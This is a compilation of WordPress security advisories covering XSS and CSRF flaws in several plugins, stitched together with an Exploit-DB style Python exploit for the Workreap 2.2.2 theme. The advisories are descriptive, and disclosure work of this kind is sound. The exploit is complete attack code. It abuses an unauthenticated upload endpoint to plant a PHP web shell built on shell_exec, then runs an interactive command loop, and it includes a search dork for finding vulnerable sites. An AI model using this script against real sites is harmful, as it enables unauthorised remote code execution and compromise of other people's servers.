Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Rolands Umbrovskis itemprop WP for SERP/SEO Rich snippets plugin <= 3.5.201706131 versions.

**Solution**

No fix 

No patched version is available. No reply from the vendor.

Found this useful? Thank Rio Darmawan for reporting this vulnerability. Buy a coffee ☕

Rio Darmawan discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress itemprop WP for SERP/SEO Rich snippets Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-23819: WordPress itemprop WP for SERP/SEO Rich snippets plugin <= 3.5.201706131 - Cross Site Scripting (XSS) vulnerability - Patchstack

Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Phan Chuong IP Metaboxes plugin <= 2.1.1.

**Solution**

No fix 

No patched version is available. The WordPress plugins review team was notified on Apr 12, 2023.

WON JOON HWANG discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress IP Metaboxes Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**Other vulnerabilities in this plugin**

 2 present

 0 patched

View all

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-30753: WordPress IP Metaboxes plugin <= 2.1.1 - Reflected Cross Site Scripting (XSS) vulnerability - Patchstack

Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Ludwig Media UTM Tracker plugin <= 1.3.1 versions.

**Solution**

No fix 

No patched version is available. No reply from the vendor.

Found this useful? Thank Rio Darmawan for reporting this vulnerability. Buy a coffee ☕

Rio Darmawan discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress UTM Tracker Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-23822: WordPress UTM Tracker plugin <= 1.3.1 - Cross Site Scripting (XSS) vulnerability - Patchstack

Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Phan Chuong IP Metaboxes plugin <= 2.1.1 versions.

CVE-2023-30745: WordPress IP Metaboxes plugin <= 2.1.1 - Cross Site Scripting (XSS) vulnerability - Patchstack

Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Aviplugins.Com WP Register Profile With Shortcode plugin <= 3.5.7 versions.

**Solution**

No fix 

No patched version is available. No reply from the vendor.

Found this useful? Thank Rio Darmawan for reporting this vulnerability. Buy a coffee ☕

Rio Darmawan discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress WP Register Profile With Shortcode Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-23818: WordPress WP Register Profile With Shortcode plugin <= 3.5.7 - Cross Site Scripting (XSS) vulnerability - Patchstack

Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Repute InfoSystems ARMember plugin <= 4.0.1 versions.

**Solution**

Fixed 

Update the WordPress ARMember plugin to the latest available version (at least 4.0.2).

TEAM WEBoB of BoB 11th discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress ARMember Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has been fixed in version 4.0.2.

**Other vulnerabilities in this plugin**

 0 present

 4 patched

View all

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-47140: WordPress ARMember plugin <= 4.0.1 - Cross Site Scripting (XSS) - Patchstack

Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in GalleryPlugins Video Contest plugin <= 3.2 versions.

**Solution**

No fix 

No patched version is available.

Cat discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress Video Contest WordPress Plugin Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**Other vulnerabilities in this plugin**

 2 present

 0 patched

View all

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-45827: WordPress Video Contest WordPress Plugin plugin <= 3.2 - Cross Site Scripting (XSS) - Patchstack

WordPress theme Workreap version 2.2.2 suffers from a remote shell upload vulnerabilities.

    # Exploit Title: WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution# Dork: inurl:/wp-content/themes/workreap/# Date: 2023-06-01# Category : Webapps# Vendor Homepage: https://themeforest.net/item/workreap-freelance-marketplace-wordpress-theme/23712454# Exploit Author: Mohammad Hossein Khanaki(Mr_B0hl00l)# Version: 2.2.2# Tested on: Windows/Linux# CVE: CVE-2021-24499import requestsimport randomimport stringimport sysdef usage():    banner = '''    NAME: WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution    usage: python3 Workreap_rce.py <URL>     example for linux : python3 Workreap_rce.py https://www.exploit-db.com    example for Windows : python Workreap_rce.py https://www.exploit-db.com    '''    print(f"{BOLD}{banner}{ENDC}")def upload_file(target):    print("[ ] Uploading File")    url = target + "/wp-admin/admin-ajax.php"    body = "<?php echo '" + random_str + "';?>"    data = {"action": "workreap_award_temp_file_uploader"}    response = requests.post(url, data=data, files={"award_img": (file_name, body)})    if '{"type":"success",' in response.text:        print(f"{GREEN}[+] File uploaded successfully{ENDC}")        check_php_file(target)    else:        print(f"{RED}[+] File was not uploaded{ENDC}")def check_php_file(target):    response_2 = requests.get(target + "/wp-content/uploads/workreap-temp/" + file_name)    if random_str in response_2.text:        print(f"{GREEN}The uploaded PHP file executed successfully.{ENDC}")        print("path: " + target +"/wp-content/uploads/workreap-temp/" + file_name)        question = input(f"{YELLOW}Do you want get RCE? [Y/n] {ENDC}")        if question == "y" or question == "Y":            print("[ ] Uploading Shell ")            get_rce(target)        else:            usage()    else:        print(f"{RED}[+] PHP file not allowed on this website. Try uploading another file.{ENDC}")def get_rce(target):    file_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + ".php"    body = '<?php $command = $_GET["c"]; $output = shell_exec($command); echo "<pre>\n$output</pre>";?>'    data = {"action": "workreap_award_temp_file_uploader"}    response_3 = requests.post(target + '/wp-admin/admin-ajax.php', data=data, files={"award_img": (file_name, body)})    print(f"{GREEN}[+] Shell uploaded successfully{ENDC}")    while True:        command = input(f"{YELLOW}Enter a command to execute: {ENDC}")        print(f"Shell Path : {target}'/wp-content/uploads/workreap-temp/{BOLD}{file_name}?c={command}{ENDC}")        response_4 = requests.get(target + '/wp-content/uploads/workreap-temp/' + file_name + f"?c={command}")        print(f"{GREEN}{response_4.text}{ENDC}")if __name__ == "__main__":    global GREEN , RED, YELLOW, BOLD, ENDC    GREEN = '\033[92m'    RED = '\033[91m'    YELLOW = '\033[93m'    BOLD = '\033[1m'    ENDC = '\033[0m'    file_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + ".php"    random_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))    try:        upload_file(sys.argv[1])    except IndexError:            usage()    except requests.exceptions.RequestException as e:        print("\nPlease Enter Valid Address")

WordPress Workreap 2.2.2 Shell Upload

The WP Activity Log for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 4.5.0. This is due to missing or incorrect nonce validation on the ajax_run_cleanup function. This makes it possible for unauthenticated attackers to invoke this function via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVE-2023-2286: Settings.php in wp-security-audit-log/trunk/classes/Views – WordPress Plugin Repository

The WP Activity Log Premium plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 4.5.0. This is due to missing or incorrect nonce validation on the ajax_switch_db function. This makes it possible for unauthenticated attackers to make changes to the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

This record contains material that is subject to copyright.

**Copyright 2012-2023 Defiant Inc.**

**License:** Defiant hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute this software vulnerability information. Any copy of the software vulnerability information you make for such purposes is authorized provided that you include a hyperlink to this vulnerability record and reproduce Defiant's copyright designation and this license in any such copy. **Read more.**

**Copyright 1999-2023 The MITRE Corporation**

**License:** CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE®). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy. **Read more.**

Have information to add, or spot any errors? Contact us at wfi-support@wordfence.com so we can make any appropriate adjustments.

Tag

#wordpress